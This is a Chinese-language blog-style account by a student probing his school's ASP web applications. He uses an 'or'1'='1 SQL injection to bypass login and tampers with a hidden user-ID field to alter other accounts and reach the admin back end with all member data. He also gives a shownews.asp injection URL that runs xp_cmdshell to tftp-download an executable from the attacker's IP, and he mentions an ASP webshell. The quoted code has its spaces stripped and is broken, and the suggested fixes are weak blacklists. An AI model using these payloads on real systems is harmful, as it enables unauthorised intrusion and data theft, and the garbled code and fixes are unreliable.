测试我们学校服务器的安全性

我自从在学校维护学生会网站以后,就有了不小的权限,我只要上传一个“海阳顶端网ASP木马”就可以任意修改任何web页面了,因为学校里所有的站点都放在//www.nothing.com/里面,不过我可不敢这样做,也不会这样做。最近学习ASP挺上瘾,就看看学校自己写的ASP程序有什么隐患吧。、

问题一

  除了前台只有少量的asp文件,就是用户注册(是学校的人才能注册)、登陆、忘记密码、个人信息修改这几个ASP文件,先看看忘记密码,lostpass.asp是一个提交页面,没有任何ASP语句,看看
里目标文件是lostpass1.asp,再查看原代码,没有发现问题(是我的水平有限),再看下一个lostpass2.asp,呵呵,发现了一句有毛病的语句:

sql="selectpwd,answerfrom[member]whereuserID='"&userID&"'andanswer='"&answer&"'"

  这么低级的错误也会犯,此时,您只要根据sql构造一个特殊的用户名和密码,如:'or'1'='1
这样,程序将会变成这样:

sql="selectpwd,answerfrom[member]whereuserID="&'or'1'=1&"andpass="&answer&"

  or是一个逻辑运算符,判断两个条件的时候,只要其中一个条件成立,那么等式将会成立,而在语言中,是以1来代表真的(成立),那么在这行语句中,原语句的"and"验证将不再继续,而因为"1=1"和"or"令语句返回为真值。这样的话我们从一开始就可以提交'or'1'='1这个来饶过验证了,不管我们在什么文本框我们都提交'or'1'='1这个都能顺利到达下一个页面,既然这样,我们用'or'1'='1来作为用户名和密码登陆,会怎么样呢?实验证明登陆成功,因为显示个人资料修改的链接了,果然正常显示了个人资料,我发现真实姓名不可改,说明一定有什么ID之类的来识别用户,于是直接查看网页源代码发现这么一行重要的东西:
原来是靠这个hiddenField来辨别用户,那么如果我修改了value的值,那不是可以修改其他用户了吗?马上拿我以前注册的来试,把我的号码2001010XXX替换上去,然后修改里的相对连接,另存为htm文件,然后提交我需要修改的资料。再看看我的资料,果然被修改了,这么说如果我我知道任何一个用户的hiddenField的值,就可以修改其资料,还不乱套?这个就搁在一边……这个问题可以写个函数禁止从外部提交数据得以解决。
  不过这个漏洞有点局限性,如果想改某个用户的资料一定要知道hiddenField的值,否则只能乱改。不过既然这个文件这样了,我想后台入口验证程序应该也是这样,我试着登陆,成功了,所有会员的资料尽收眼底,而且任意添加和修改管理员,做什么都可以啊。
  这个问题的防范方法其实很简单,处理输入字符就可以了,原来我还以为用replace()函数呢,请教了一下劲风,得知用mid()函数可以很好的解决,加一个判断就可以了:

us=mid(input,i,1)
ifus=""orus="'"orus="%"orus="<"orus=">"orus="&"then
response.redirect"error_page.asp"
response.end

  几行代码就可以检查用户所输入的字符了,当然,应该尽量多检查一些特殊字符。这行代码意思是检查输入的字符中,如果有空格、单引号、百分号和“<”、“>”就重定向到error_page.asp这个页面。
  虽然“海阳顶端网ASP木马”具有黑掉学校服务器的能力,但我们还是要从学校的程序入手,否则就没有意义了,“海阳顶端网ASP木马”在这里只充当一个查看原代码的角色。

问题二

  通常一些资料调用文件都会存在一些SQLinjection漏洞,比如show.asp、showarticle.asp、shownews.asp、showuser.asp等等,因为这些文件很容易忽略检查变量,我看到一个shownews.asp文件。马上打开,其原代码如下(由于此文件太大,限于篇幅,我去掉了很多无关的HTML代码):

<%optionexplicit%>

<%
dimsql,rs,rsc,thedate
dimreviewable,aboutnews
setrs=server.createobject("adodb.recordset")'查找显示相关新闻数目及是否开放评论权限
rs.open"select*fromnews_parameterwhereparameterid=1",conn,1,1
ifnotrs.bofandnotrs.eofthen
aboutnews=rs("aboutnews")
ifrs("reviewable")=1then
reviewable=1
else
reviewable=0
endif
else
aboutnews=5
reviewable=1
endif
rs.close
setrs=nothing
setrs=server.createobject("adodb.recordset")
sql="updatenewssethits=hitswherenewsid="&cstr(request("newsid"))
conn.executesql
ifsession("purview")=""then
rs.open"select*fromnewswherenewsid="&cstr(request("newsid"))&"andaudit=1",conn,1,1
else
rs.open"select*fromnewswherenewsid="&cstr(request("newsid")),conn,1,1
endif
iferr.number<>0then
response.write"数据库出错"
else
ifrs.bofandrs.eofthen
rs.close
response.write"该新闻不存在或未经过审核"
else
%>



<%=rs("topic")%>







<%endif
endif%>


  大家看到了吗?文件根本没有对任何变量做任何检查,所以这个文件怎么利用都不过份,呵呵,看到这一句,

rs.open"select*fromnewswherenewsid="&cstr(request("newsid")),conn,1,1

  由于程序根本没有对任何变量做任何检查。我们就可以可以直接构造newsid发动sqlinjection攻击,我们提交这样的代码就可以以连接这个SQL数据库的用户所拥有的权限执行系统命令。

//ourschool/shownews.asp?newsid=1;execmaster.dbo.xp_cmdshell'tftp-imyipgetflash.exe';--

  针对这个文件的解决办法就是用replace函数过滤,看看下面的代码:

replace(str,"'","''")
replace(str,"'","")

  这两行的意思就是把单引号替换为双引号和空格。
  我们学校服务器的系统漏洞已经找不出什么东西了,但是由于Web程序的问题,导致服务器被控制,学校的技术人员怎么想呢?文章虽短,但问题已经说明很清楚了。
  看来Web程序的问题实在不可忽视。Web程序安全的重点就是对字符检查——检查——再检查。
  本人水平实在有限,写不出什么高深技术的文章,在这里献丑了。